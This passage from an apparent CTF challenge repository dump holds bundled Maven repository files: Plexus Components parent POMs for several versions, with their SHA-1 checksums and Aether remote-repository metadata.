<artifactId>plexus-maven-plugin</artifactId>\n        <version>1.3.4</version>\n        <executions>\n          <execution>\n            <goals>\n              <goal>descriptor</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n  <reporting>\n    <plugins>\n      <plugin>\n        <artifactId>maven-javadoc-plugin</artifactId>\n      </plugin>\n      <plugin>\n        <artifactId>maven-jxr-plugin</artifactId>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-maven-plugin</artifactId>\n        <version>1.3.4</version>\n      </plugin>      \n    </plugins>\n  </reporting>  \n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-components/1.1.12/plexus-components-1.1.12.pom.sha1",
    "content": "e7332a35914684bab5dd1718aea0202fa5a2bb0d"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-components/1.1.14/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:39 CST 2018\nplexus-components-1.1.14.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-components/1.1.14/plexus-components-1.1.14.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <artifactId>plexus</artifactId>\n    <groupId>org.codehaus.plexus</groupId>\n    <version>2.0.2</version>\n    <relativePath>../pom/pom.xml</relativePath>\n  </parent>\n\n  <groupId>org.codehaus.plexus</groupId>\n  <artifactId>plexus-components</artifactId>\n  <version>1.1.14</version>\n  <packaging>pom</packaging>\n\n  <name>Plexus Components Parent Project</name>\n  <url>http://plexus.codehaus.org/plexus-components</url>\n  \n\n<!-- Commenting these so they don't run when I try to release this parent POM.\n     I'll uncomment again once the release is done.\n  <modules>\n    <module>plexus-archiver</module>\n    <module>plexus-cli</module>\n    <module>plexus-compiler</module>\n    <module>plexus-digest</module>\n    <module>plexus-i18n</module>\n    <module>plexus-interactivity</module>\n    <module>plexus-interpolation</module>\n    <module>plexus-io</module>\n    <module>plexus-resources</module>\n    <module>plexus-swizzle</module>\n    <module>plexus-velocity</module>\n  </modules> -->\n\n  <scm>\n    <connection>scm:svn:http://svn.codehaus.org/plexus/plexus-components/tags/plexus-components-1.1.14</connection>\n    <developerConnection>scm:svn:https://svn.codehaus.org/plexus/plexus-components/tags/plexus-components-1.1.14</developerConnection>\n    <url>http://fisheye.codehaus.org/browse/plexus/plexus-components/tags/plexus-components-1.1.14</url>\n  </scm>\n  <issueManagement>\n    <system>JIRA</system>\n    <url>http://jira.codehaus.org/browse/PLXCOMP</url>\n  </issueManagement>\n\n  <dependencyManagement>\n    <dependencies>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-container-default</artifactId>\n        <version>1.0-alpha-9-stable-1</version>\n      </dependency>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-utils</artifactId>\n        <version>1.5.5</version>\n      </dependency>\n      <dependency>\n        <groupId>junit</groupId>\n        <artifactId>junit</artifactId>\n        <version>3.8.2</version>\n        <scope>test</scope>\n      </dependency>\n    </dependencies>\n  </dependencyManagement>\n\n  <build>\n    <plugins>\n      <plugin>\n        <artifactId>maven-compiler-plugin</artifactId>\n        <configuration>\n          <source>1.4</source>\n          <target>1.4</target>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-maven-plugin</artifactId>\n        <version>1.3.4</version>\n        <executions>\n          <execution>\n            <goals>\n              <goal>descriptor</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n\n  <profiles>\n    <profile><!-- TODO: remove when upgrading parent to 2.0.3 -->\n      <id>reporting</id>\n      <reporting>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-project-info-reports-plugin</artifactId>\n            <version>2.1</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-surefire-report-plugin</artifactId>\n            <version>2.4.3</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-checkstyle-plugin</artifactId>\n            <version>2.2</version>\n            <configuration>\n              <configLocation>http://svn.apache.org/repos/asf/maven/plugins/trunk/maven-checkstyle-plugin/src/main/resources/config/maven_checks.xml</configLocation>\n              <headerLocation>http://svn.apache.org/repos/asf/maven/plugins/trunk/maven-checkstyle-plugin/src/main/resources/config/maven-header.txt</headerLocation>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-pmd-plugin</artifactId>\n            <version>2.4</version>\n            <configuration>\n              <rulesets>\n                <ruleset>http://svn.apache.org/repos/asf/maven/plugins/trunk/maven-pmd-plugin/src/main/resources/rulesets/maven.xml</ruleset>\n              </rulesets>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>taglist-maven-plugin</artifactId>\n            <version>2.2</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-jxr-plugin</artifactId>\n            <version>2.1</version>\n            <configuration>\n              <inputEncoding>${project.build.sourceEncoding}</inputEncoding>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <version>2.5</version>\n            <configuration>\n              <encoding>${project.build.sourceEncoding}</encoding>\n              <links>\n                <link>http://java.sun.com/j2ee/1.4/docs/api</link>\n                <link>http://junit.sourceforge.net/javadoc/</link>\n              </links>\n            </configuration>\n            <reportSets>\n              <reportSet>\n                <reports>\n                  <report>javadoc</report>\n                  <report>test-javadoc</report>\n                </reports>\n              </reportSet>\n            </reportSets>\n          </plugin>\n        </plugins>\n      </reporting>\n    </profile>\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-components/1.1.14/plexus-components-1.1.14.pom.sha1",
    "content": "aed78d67ee20a5038741c7cc2a8124ae20c960ad"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-components/1.1.15/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:41 CST 2018\nplexus-components-1.1.15.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-components/1.1.15/plexus-components-1.1.15.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <artifactId>plexus</artifactId>\n    <groupId>org.codehaus.plexus</groupId>\n    <version>2.0.3</version>\n    <relativePath>../pom/pom.xml</relativePath>\n  </parent>\n\n  <groupId>org.codehaus.plexus</groupId>\n  <artifactId>plexus-components</artifactId>\n  <version>1.1.15</version>\n  <packaging>pom</packaging>\n\n  <name>Plexus Components</name>\n  <url>http://plexus.codehaus.org/plexus-components</url>\n\n\n  <modules>\n    <module>plexus-archiver</module>\n    <module>plexus-cli</module>\n    <module>plexus-compiler</module>\n    <module>plexus-digest</module>\n    <module>plexus-i18n</module>\n    <module>plexus-interactivity</module>\n    <module>plexus-interpolation</module>\n    <module>plexus-io</module>\n    <module>plexus-resources</module>\n    <!--\n    <module>plexus-swizzle</module>\n    -->\n    <module>plexus-velocity</module>\n  </modules>\n\n  <scm>\n    <connection>scm:svn:http://svn.codehaus.org/plexus/plexus-components/tags/plexus-components-1.1.15</connection>\n    <developerConnection>scm:svn:https://svn.codehaus.org/plexus/plexus-components/tags/plexus-components-1.1.15</developerConnection>\n    <url>http://fisheye.codehaus.org/browse/plexus/plexus-components/tags/plexus-components-1.1.15</url>\n  </scm>\n  <issueManagement>\n    <system>JIRA</system>\n    <url>http://jira.codehaus.org/browse/PLXCOMP</url>\n  </issueManagement>\n\n  <dependencyManagement>\n    <dependencies>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-container-default</artifactId>\n        <version>1.0-alpha-9-stable-1</version>\n      </dependency>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-utils</artifactId>\n        <version>1.5.5</version>\n      </dependency>\n      <dependency>\n        <groupId>junit</groupId>\n        <artifactId>junit</artifactId>\n        <version>3.8.2</version>\n        <scope>test</scope>\n      </dependency>\n    </dependencies>\n  </dependencyManagement>\n\n  <build>\n    <plugins>\n      <plugin>\n        <artifactId>maven-compiler-plugin</artifactId>\n        <configuration>\n          <source>1.4</source>\n          <target>1.4</target>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-maven-plugin</artifactId>\n        <version>1.3.4</version>\n        <executions>\n          <execution>\n            <goals>\n              <goal>descriptor</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-components/1.1.15/plexus-components-1.1.15.pom.sha1",
    "content": "44366f11d5b9571c16829ae7f0a7f20e116f6260"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-components/1.1.17/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:02:54 CST 2018\nplexus-components-1.1.17.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-components/1.1.17/plexus-components-1.1.17.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <artifactId>plexus</artifactId>\n    <groupId>org.codehaus.plexus</groupId>\n    <version>2.0.5</version>\n    <relativePath>../pom/pom.xml</relativePath>\n  </parent>\n\n  <groupId>org.codehaus.plexus</groupId>\n  <artifactId>plexus-components</artifactId>\n  <version>1.1.17</version>\n  <packaging>pom</packaging>\n\n  <name>Plexus Components</name>\n  <url>http://plexus.codehaus.org/plexus-components</url>\n\n\n  <modules>\n    <module>plexus-archiver</module>\n    <module>plexus-cli</module>\n    <module>plexus-compiler</module>\n    <module>plexus-digest</module>\n    <module>plexus-i18n</module>\n    <module>plexus-interactivity</module>\n    <module>plexus-interpolation</module>\n    <module>plexus-io</module>\n    <module>plexus-resources</module>\n    <!--\n    <module>plexus-swizzle</module>\n    -->\n    <module>plexus-velocity</module>\n  </modules>\n\n  <scm>\n    <connection>scm:svn:http://svn.codehaus.org/plexus/plexus-components/tags/plexus-components-1.1.17</connection>\n    <developerConnection>scm:svn:https://svn.codehaus.org/plexus/plexus-components/tags/plexus-components-1.1.17</developerConnection>\n    <url>http://fisheye.codehaus.org/browse/plexus/plexus-components/tags/plexus-components-1.1.17</url>\n  </scm>\n  <issueManagement>\n    <system>JIRA</system>\n    <url>http://jira.codehaus.org/browse/PLXCOMP</url>\n  </issueManagement>\n\n  <dependencyManagement>\n    <dependencies>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-container-default</artifactId>\n        <version>1.0-alpha-9-stable-1</version>\n      </dependency>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-utils</artifactId>\n        <version>1.5.5</version>\n      </dependency>\n      <dependency>\n        <groupId>junit</groupId>\n        <artifactId>junit</artifactId>\n        <version>3.8.2</version>\n        <scope>test</scope>\n      </dependency>\n    </dependencies>\n  </dependencyManagement>\n\n  <build>\n    <plugins>\n      <plugin>\n        <artifactId>maven-compiler-plugin</artifactId>\n        <configuration>\n          <source>1.4</source>\n          <target>1.4</target>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-component-metadata</artifactId>\n        <version>1.5.1</version>\n        <executions>\n          <execution>\n            <goals>\n              <goal>generate-metadata</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n  \n  <profiles>\n    <profile>\n      <id>maven-3</id>\n      <activation>\n        <file>\n          <!-- This employs that the basedir expression is only recognized by Maven 3.x (see MNG-2363) -->\n          <exists>${basedir}</exists>\n        </file>\n      </activation>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-site-plugin</artifactId>\n            <version>2.1</version>\n            <inherited>false</inherited>\n            <executions>\n              <execution>\n                <id>attach-descriptor</id>\n                <goals>\n                  <goal>attach-descriptor</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n\n    </profile>  \n    <profile>\n      <id>m2e</id>\n      <activation>\n        <property>\n          <name>m2e.version</name>\n        </property>\n      </activation>\n      <properties>\n        <m2BuildDirectory>target</m2BuildDirectory>\n      </properties>\n      <build>\n        <directory>${m2BuildDirectory}</directory>\n        <plugins>\n          <plugin>\n            <groupId>org.maven.ide.eclipse</groupId>\n            <artifactId>lifecycle-mapping</artifactId>\n            <version>0.9.9-SNAPSHOT</version>\n            <configuration>\n              <mappingId>customizable</mappingId>\n              <configurators>\n                <configurator id=\"org.maven.ide.eclipse.jdt.javaConfigurator\" />\n                <configurator id=\"org.maven.ide.eclipse.plexus.annotations.plexusConfigurator\" />\n                <configurator id=\"org.maven.ide.eclipse.modello.modelloConfigurator\" />\n              </configurators>\n              <mojoExecutions>\n                <mojoExecution>org.apache.maven.plugins:maven-resources-plugin::</mojoExecution>\n              </mojoExecutions>\n            </configuration>\n          </plugin>\n        </plugins>\n        <pluginManagement>\n          <plugins>\n            <!-- see MSHARED-125 -->\n            <plugin>\n              <groupId>org.apache.maven.plugins</groupId>\n              <artifactId>maven-resources-plugin</artifactId>\n              <version>2.5-SNAPSHOT</version>\n            </plugin>\n          </plugins>\n        </pluginManagement>        \n      </build>\n    </profile>  \n  </profiles>\n  \n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-components/1.1.17/plexus-components-1.1.17.pom.sha1",
    "content": "9c09b4388c02db50d9aec045e4f38660928ebb91"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-components/1.1.18/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:00:12 CST 2018\nplexus-components-1.1.18.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-components/1.1.18/plexus-components-1.1.18.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <artifactId>plexus</artifactId>\n    <groupId>org.codehaus.plexus</groupId>\n    <version>2.0.7</version>\n    <relativePath>../pom/pom.xml</relativePath>\n  </parent>\n\n  <groupId>org.codehaus.plexus</groupId>\n  <artifactId>plexus-components</artifactId>\n  <version>1.1.18</version>\n  <packaging>pom</packaging>\n\n  <name>Plexus Components</name>\n  <url>http://plexus.codehaus.org/plexus-components</url>\n\n\n  <modules>\n    <module>plexus-archiver</module>\n    <module>plexus-cli</module>\n    <module>plexus-compiler</module>\n    <module>plexus-digest</module>\n    <module>plexus-i18n</module>\n    <module>plexus-interactivity</module>\n    <module>plexus-interpolation</module>\n    <module>plexus-io</module>\n    <module>plexus-resources</module>\n    <!--\n    <module>plexus-swizzle</module>\n    -->\n    <module>plexus-velocity</module>\n  </modules>\n\n  <scm>\n    <connection>scm:svn:http://svn.codehaus.org/plexus/plexus-components/tags/plexus-components-1.1.18</connection>\n    <developerConnection>scm:svn:https://svn.codehaus.org/plexus/plexus-components/tags/plexus-components-1.1.18</developerConnection>\n    <url>http://fisheye.codehaus.org/browse/plexus/plexus-components/tags/plexus-components-1.1.18</url>\n  </scm>\n  <issueManagement>\n    <system>JIRA</system>\n    <url>http://jira.codehaus.org/browse/PLXCOMP</url>\n  </issueManagement>\n\n  <dependencyManagement>\n    <dependencies>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-container-default</artifactId>\n        <version>1.0-alpha-9-stable-1</version>\n      </dependency>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-utils</artifactId>\n        <version>1.5.5</version>\n      </dependency>\n      <dependency>\n        <groupId>junit</groupId>\n        <artifactId>junit</artifactId>\n        <version>3.8.2</version>\n        <scope>test</scope>\n      </dependency>\n    </dependencies>\n  </dependencyManagement>\n\n  <build>\n    <plugins>\n      <plugin>\n        <artifactId>maven-compiler-plugin</artifactId>\n        <configuration>\n          <source>1.4</source>\n          <target>1.4</target>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-component-metadata</artifactId>\n        <version>1.5.4</version>\n        <executions>\n          <execution>\n            <goals>\n              <goal>generate-metadata</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n  \n  <profiles>\n    <profile>\n      <id>parent-release</id>\n      <build>\n        <plugins>\n          <plugin>\n            <artifactId>maven-release-plugin</artifactId>\n            <configuration>\n              <arguments>-N -Pplexus-release</arguments>\n            </configuration>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <profile>\n      <id>maven-3</id>\n      <activation>\n        <file>\n          <!-- This employs that the basedir expression is only recognized by Maven 3.x (see MNG-2363) -->\n          <exists>${basedir}</exists>\n        </file>\n      </activation>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-site-plugin</artifactId>\n            <version>2.1</version>\n            <inherited>false</inherited>\n            <executions>\n              <execution>\n                <id>attach-descriptor</id>\n                <goals>\n                  <goal>attach-descriptor</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>  \n    <profile>\n      <id>m2e</id>\n      <activation>\n        <property>\n          <name>m2e.version</name>\n        </property>\n      </activation>\n      <properties>\n        <m2BuildDirectory>target</m2BuildDirectory>\n      </properties>\n      <build>\n        <directory>${m2BuildDirectory}</directory>\n        <plugins>\n          <plugin>\n            <groupId>org.maven.ide.eclipse</groupId>\n            <artifactId>lifecycle-mapping</artifactId>\n            <version>0.10.0</version>\n            <configuration>\n              <mappingId>customizable</mappingId>\n              <configurators>\n                <configurator id=\"org.maven.ide.eclipse.jdt.javaConfigurator\" />\n                <configurator id=\"org.maven.ide.eclipse.plexus.annotations.plexusConfigurator\" />\n                <configurator id=\"org.maven.ide.eclipse.modello.modelloConfigurator\" />\n              </configurators>\n              <mojoExecutions>\n                <mojoExecution>org.apache.maven.plugins:maven-resources-plugin::</mojoExecution>\n              </mojoExecutions>\n            </configuration>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>  \n  </profiles>\n  \n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-components/1.1.18/plexus-components-1.1.18.pom.sha1",
    "content": "41abf89f075e6b912a2ff728aa002e98591de425"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-components/1.1.19/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:50 CST 2018\nplexus-components-1.1.19.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-components/1.1.19/plexus-components-1.1.19.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.codehaus.plexus</groupId>\n    <artifactId>plexus</artifactId>\n    <version>3.0.1</version>\n    <relativePath>../pom/pom.xml</relativePath>\n  </parent>\n\n  <artifactId>plexus-components</artifactId>\n  <version>1.1.19</version>\n  <packaging>pom</packaging>\n\n  <name>Plexus Components</name>\n  <url>http://plexus.codehaus.org/plexus-components</url>\n\n\n  <modules>\n    <module>plexus-cli</module>\n    <module>plexus-digest</module>\n    <module>plexus-i18n</module>\n    <module>plexus-interactivity</module>\n    <module>plexus-resources</module>\n    <!--\n    <module>plexus-swizzle</module>\n    -->\n    <module>plexus-velocity</module>\n  </modules>\n\n  <scm>\n    <connection>scm:git:git@github.com:sonatype/plexus-components.git</connection>\n    <developerConnection>scm:git:git@github.com:sonatype/plexus-components.git</developerConnection>\n    <url>http://github.com/sonatype/plexus-components</url>\n  </scm>\n  <issueManagement>\n    <system>JIRA</system>\n    <url>http://jira.codehaus.org/browse/PLXCOMP</url>\n  </issueManagement>\n\n  <dependencyManagement>\n    <dependencies>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-container-default</artifactId>\n        <version>1.0-alpha-9-stable-1</version>\n      </dependency>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-utils</artifactId>\n        <version>3.0</version>\n      </dependency>\n      <dependency>\n        <groupId>junit</groupId>\n        <artifactId>junit</artifactId>\n        <version>3.8.2</version>\n        <scope>test</scope>\n      </dependency>\n    </dependencies>\n  </dependencyManagement>\n\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-component-metadata</artifactId>\n        <executions>\n          <execution>\n            <goals>\n              <goal>generate-metadata</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n  \n  <profiles>\n    <profile>\n      <id>parent-release</id>\n      <build>\n        <plugins>\n          <plugin>\n            <artifactId>maven-release-plugin</artifactId>\n            <configuration>\n              <arguments>-N -Pplexus-release</arguments>\n            </configuration>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n  </profiles>\n  \n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-components/1.1.19/plexus-components-1.1.19.pom.sha1",
    "content": "2c0f4d3bcbcdd8f77521502d886681ed5af38a25"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-components/1.1.7/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:59:25 CST 2018\nplexus-components-1.1.7.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-components/1.1.7/plexus-components-1.1.7.pom",
    "content": "<project>\n  <modelVersion>4.0.0</modelVersion>\n  <parent>\n    <artifactId>plexus</artifactId>\n    <groupId>org.codehaus.plexus</groupId>\n    <version>1.0.8</version>\n  </parent>\n  <groupId>org.codehaus.plexus</groupId>\n  <artifactId>plexus-components</artifactId>\n  <packaging>pom</packaging>\n  <version>1.1.7</version>\n  <name>Plexus Components Parent Project</name>\n  <!-- \n    TODO: should this be pushed down to all the dependencies?\n      - a more stable API JAR may be useful, for the interfaces and classes such as AbstractLogEnabled\n  -->\n  <dependencies>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-container-default</artifactId>\n      <version>1.0-alpha-8</version>\n    </dependency>\n  </dependencies>\n  <modules>\n    <module>plexus-action</module>\n    <module>plexus-archiver</module>\n    <module>plexus-bayesian</module>  \n    <module>plexus-command</module>\n    <module>plexus-compiler</module>\n    <module>plexus-drools</module>        \n    <module>plexus-formica</module>\n    <module>plexus-formica-web</module>\n    <module>plexus-hibernate</module>\n    <module>plexus-i18n</module>            \n    <module>plexus-interactivity</module>        \n    <module>plexus-ircbot</module>    \n    <module>plexus-jdo</module>\n    <module>plexus-jetty-httpd</module>    \n    <module>plexus-jetty</module>\n    <module>plexus-mimetyper</module>    \n    <module>plexus-mail-sender</module>\n    <module>plexus-notification</module>\n    <module>plexus-resources</module>\n    <module>plexus-taskqueue</module>    \n    <module>plexus-velocity</module>\n    <module>plexus-xmlrpc</module>\n  </modules>\n  <scm> \n    <connection>scm:svn:http://svn.codehaus.org/plexus/plexus-components/trunk/</connection>\n    <developerConnection>scm:svn:https://svn.codehaus.org/plexus/plexus-components/trunk</developerConnection> \n    <url>http://fisheye.codehaus.org/browse/plexus/plexus-components/trunk/</url>\n  </scm>\n  <build>                                                                                                                                                                                                         \n    <plugins>                                                                                                                                                                                                     \n      <plugin>                                                                                                                                                                                                    \n        <groupId>org.codehaus.plexus</groupId>                                                                                                                                                                    \n        <artifactId>plexus-maven-plugin</artifactId>                                                                                                                                                              \n        <version>1.3.2</version>\n        <executions>                                                                                                                                                                                              \n          <execution>                                                                                                                                                                                             \n            <goals>                                                                                                                                                                                               \n              <goal>descriptor</goal>                                                                                                                                                                             \n            </goals>                                                                                                                                                                                              \n          </execution>                                                                                                                                                                                            \n        </executions>                                                                                                                                                                                             \n      </plugin>                                                                                                                                                                                                   \n    </plugins>                                                                                                                                                                                                    \n  </build>                     \n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-components/1.1.7/plexus-components-1.1.7.pom.sha1",
    "content": "5fcdd5b77b86b603af118b70281f48539031a9f3"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-components/1.3.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:58 CST 2018\nplexus-components-1.3.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-components/1.3.1/plexus-components-1.3.1.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.codehaus.plexus</groupId>\n    <artifactId>plexus</artifactId>\n    <version>3.3.1</version>\n    <relativePath>../pom/pom.xml</relativePath>\n  </parent>\n\n  <artifactId>plexus-components</artifactId>\n  <version>1.3.1</version>\n  <packaging>pom</packaging>\n\n  <name>Plexus Components</name>\n  <url>http://plexus.codehaus.org/plexus-components</url>\n\n\n  <!--modules>\n    <module>plexus-cli</module>\n    <module>plexus-digest</module>\n    <module>plexus-i18n</module>\n    <module>plexus-interactivity</module>\n    <module>plexus-resources</module>\n    <module>plexus-velocity</module>\n  </modules-->\n    <!--\n    <module>plexus-swizzle</module>\n    -->\n\n  <scm>\n    <connection>scm:git:git@github.com:sonatype/plexus-components.git</connection>\n    <developerConnection>scm:git:git@github.com:sonatype/plexus-components.git</developerConnection>\n    <url>http://github.com/sonatype/plexus-components</url>\n    <tag>plexus-components-1.3.1</tag>\n  </scm>\n  <issueManagement>\n    <system>JIRA</system>\n    <url>http://jira.codehaus.org/browse/PLXCOMP</url>\n  </issueManagement>\n\n  <dependencyManagement>\n    <dependencies>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-container-default</artifactId>\n        <version>1.0-alpha-9-stable-1</version>\n      </dependency>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-utils</artifactId>\n        <version>3.0.8</version>\n      </dependency>\n      <dependency>\n        <groupId>junit</groupId>\n        <artifactId>junit</artifactId>\n        <version>3.8.2</version>\n        <scope>test</scope>\n      </dependency>\n    </dependencies>\n  </dependencyManagement>\n\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-component-metadata</artifactId>\n        <executions>\n          <execution>\n            <goals>\n              <goal>generate-metadata</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n  \n  <profiles>\n    <profile>\n      <id>parent-release</id>\n      <build>\n        <plugins>\n          <plugin>\n            <artifactId>maven-release-plugin</artifactId>\n            <configuration>\n              <arguments>-N -Pplexus-release</arguments>\n            </configuration>\n          